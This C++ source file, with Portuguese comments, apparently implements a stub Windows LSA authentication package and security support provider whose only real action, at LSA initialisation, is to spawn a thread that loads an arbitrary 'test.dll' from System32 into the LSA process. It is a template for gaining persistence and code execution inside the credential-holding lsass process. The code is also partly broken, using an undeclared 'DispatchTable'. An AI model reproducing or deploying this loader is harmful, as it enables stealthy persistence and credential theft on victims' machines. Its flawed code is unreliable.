AuthPkg.cpp

#include <ntstatus.h>
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma comment(lib, "Secur32.lib")

// Função para carregar a DLL "test.dll" a partir do caminho "C:\\Windows\\System32\\"
int Go(void) {
    HMODULE hModule = LoadLibrary("c:\\Windows\\System32\\test.dll"); // carregar a sua DLL
    if (hModule == NULL) {
        std::cerr << "Erro ao carregar a DLL" << std::endl;
        return 1;
    }

    return 0;
}

// Inicializa o pacote de segurança.
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) {
    return 0;
}

// Encerra o pacote de segurança.
NTSTATUS NTAPI SpShutDown(void) {
    return 0;
}

// Retorna informações sobre o pacote de segurança.
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo) {
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion = 1;
    PackageInfo->wRPCID = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name = (SEC_WCHAR *)L"AuthPkgSSP";
    PackageInfo->Comment = (SEC_WCHAR *)L"AuthPkgSSP";

    return 0;
}

// Função chamada pelo LSA (Local Security Authority) ao carregar a DLL do pacote de segurança.
NTSTATUS LsaApInitializePackage(ULONG AuthenticationPackageId,
                                  PLSA_DISPATCH_TABLE LsaDispatchTable,
                                  PLSA_STRING Database,
                                  PLSA_STRING Confidentiality,
                                  PLSA_STRING *AuthenticationPackageName) {
    PLSA_STRING name = NULL;
    HANDLE th;

    // Lança um código em uma nova thread
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) Go, 0, 0, 0);
    WaitForSingleObject(th, 0);

    // Copia as funções da tabela do LSA para a tabela do pacote de segurança
    DispatchTable.CreateLogonSession = LsaDispatchTable->CreateLogonSession;
    DispatchTable.DeleteLogonSession = LsaDispatchTable->DeleteLogonSession;
    DispatchTable.AddCredential = LsaDispatchTable->AddCredential;
    DispatchTable.GetCredentials = LsaDispatchTable->GetCredentials;
    DispatchTable.DeleteCredential = LsaDispatchTable->DeleteCredential;
    DispatchTable.AllocateLsaHeap = LsaDispatchTable->AllocateLsaHeap;
    DispatchTable.FreeLsaHeap = LsaDispatchTable->FreeLsaHeap;
    DispatchTable.AllocateClientBuffer = LsaDispatchTable->AllocateClientBuffer;
    DispatchTable.FreeClientBuffer = LsaDispatchTable->FreeClientBuffer;
    DispatchTable.CopyToClientBuffer = LsaDispatchTable->CopyToClientBuffer;
    DispatchTable.CopyFromClientBuffer = LsaDispatchTable->CopyFromClientBuffer;

    // Define o nome do pacote de segurança como "SubAuth"
    name = (LSA_STRING *)LsaDispatchTable->AllocateLsaHeap(sizeof *name);
    name->Buffer = (char *)LsaDispatchTable->AllocateLsaHeap(sizeof("SubAuth") + 1);
    name->Length = sizeof("SubAuth") - 1;
    name->MaximumLength = sizeof("SubAuth");
    strcpy_s(name->Buffer, sizeof("SubAuth") + 1, "SubAuth");

    // Retorna o nome do pacote de segurança
    (*AuthenticationPackageName) = name;

    return 0;
}

// Função para realizar o processo de logon do usuário.
NTSTATUS LsaApLogonUser(PLSA_CLIENT_REQUEST ClientRequest,
  SECURITY_LOGON_TYPE LogonType,
  PVOID AuthenticationInformation,
  PVOID ClientAuthenticationBase,
  ULONG AuthenticationInformationLength,
  PVOID *ProfileBuffer,
  PULONG ProfileBufferLength,
  PLUID LogonId,
  PNTSTATUS SubStatus,
  PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
  PVOID *TokenInformation,
  PLSA_UNICODE_STRING *AccountName,
  PLSA_UNICODE_STRING *AuthenticatingAuthority) {
    return 0;
}

// Função para permitir a chamada de pacotes de segurança.
NTSTATUS LsaApCallPackage(PLSA_CLIENT_REQUEST ClientRequest,
  PVOID ProtocolSubmitBuffer,
  PVOID ClientBufferBase,
  ULONG SubmitBufferLength,
  PVOID *ProtocolReturnBuffer,
  PULONG ReturnBufferLength,
  PNTSTATUS ProtocolStatus) {
    return 0;
}

// Função chamada quando o usuário faz logout do sistema.
void LsaApLogonTerminated(PLUID LogonId) {
}

// Função para permitir a chamada de pacotes de segurança não confiáveis.
NTSTATUS LsaApCallPackageUntrusted(
   PLSA_CLIENT_REQUEST ClientRequest,
   PVOID ProtocolSubmitBuffer,
   PVOID ClientBufferBase,
   ULONG SubmitBufferLength,
   PVOID *ProtocolReturnBuffer,
   PULONG ReturnBufferLength,
   PNTSTATUS ProtocolStatus) {
    return 0;
}

// Função para permitir a chamada de pacotes de segurança diretamente.
NTSTATUS LsaApCallPackagePassthrough(
  PLSA_CLIENT_REQUEST ClientRequest,
  PVOID ProtocolSubmitBuffer,
  PVOID ClientBufferBase,
  ULONG SubmitBufferLength,
  PVOID *ProtocolReturnBuffer,
  PULONG ReturnBufferLength,
  PNTSTATUS ProtocolStatus) {
    return 0;
}

// Versões estendidas das funções de logon do usuário.
NTSTATUS LsaApLogonUserEx(
  PLSA_CLIENT_REQUEST ClientRequest,
  SECURITY_LOGON_TYPE LogonType,
  PVOID AuthenticationInformation,
  PVOID ClientAuthenticationBase,
  ULONG AuthenticationInformationLength,
  PVOID *ProfileBuffer,
  PULONG ProfileBufferLength,
  PLUID LogonId,
  PNTSTATUS SubStatus,
  PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
  PVOID *TokenInformation,
  PUNICODE_STRING *AccountName,
  PUNICODE_STRING *AuthenticatingAuthority,
  PUNICODE_STRING *MachineName) {
    return 0;
}

// Versões estendidas das funções de logon do usuário (mais recentes).
NTSTATUS LsaApLogonUserEx2(
  PLSA_CLIENT_REQUEST ClientRequest,
  SECURITY_LOGON_TYPE LogonType,
  PVOID ProtocolSubmitBuffer,
  PVOID ClientBufferBase,
  ULONG SubmitBufferSize,
  PVOID *ProfileBuffer,
  PULONG ProfileBufferSize,
  PLUID LogonId,
  PNTSTATUS SubStatus,
  PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
  PVOID *TokenInformation,
  PUNICODE_STRING *AccountName,
  PUNICODE_STRING *AuthenticatingAuthority,
  PUNICODE_STRING *MachineName,
  PSECPKG_PRIMARY_CRED PrimaryCredentials,
  PSECPKG_SUPPLEMENTAL_CRED_ARRAY *SupplementalCredentials) {
    return 0;
}

// Tabela de funções do pacote de segurança
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] = {
    {
        LsaApInitializePackage,
        LsaApLogonUser,
        LsaApCallPackage,
        LsaApLogonTerminated,
        LsaApCallPackageUntrusted,
        LsaApCallPackagePassthrough,
        LsaApLogonUserEx,
        LsaApLogonUserEx2,
        SpInitialize,
        SpShutDown,
        (SpGetInfoFn *) SpGetInfo,
        NULL, NULL, NULL, NULL, NULL,
        NULL, NULL, NULL, NULL, NULL,
        NULL, NULL, NULL, NULL, NULL,
        NULL
    }
};

// Função de inicialização do pacote de segurança em modo LSA.
NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion,
                                    PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables) {
    HANDLE th;

    // Lança um código em uma nova thread
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) Go, 0, 0, 0);
    WaitForSingleObject(th, 0);

    // Define a versão do pacote de segurança e a tabela de funções
    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = SecurityPackageFunctionTable;
    *pcTables = 1;

    return STATUS_SUCCESS;
}

// Ponto de entrada da DLL
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}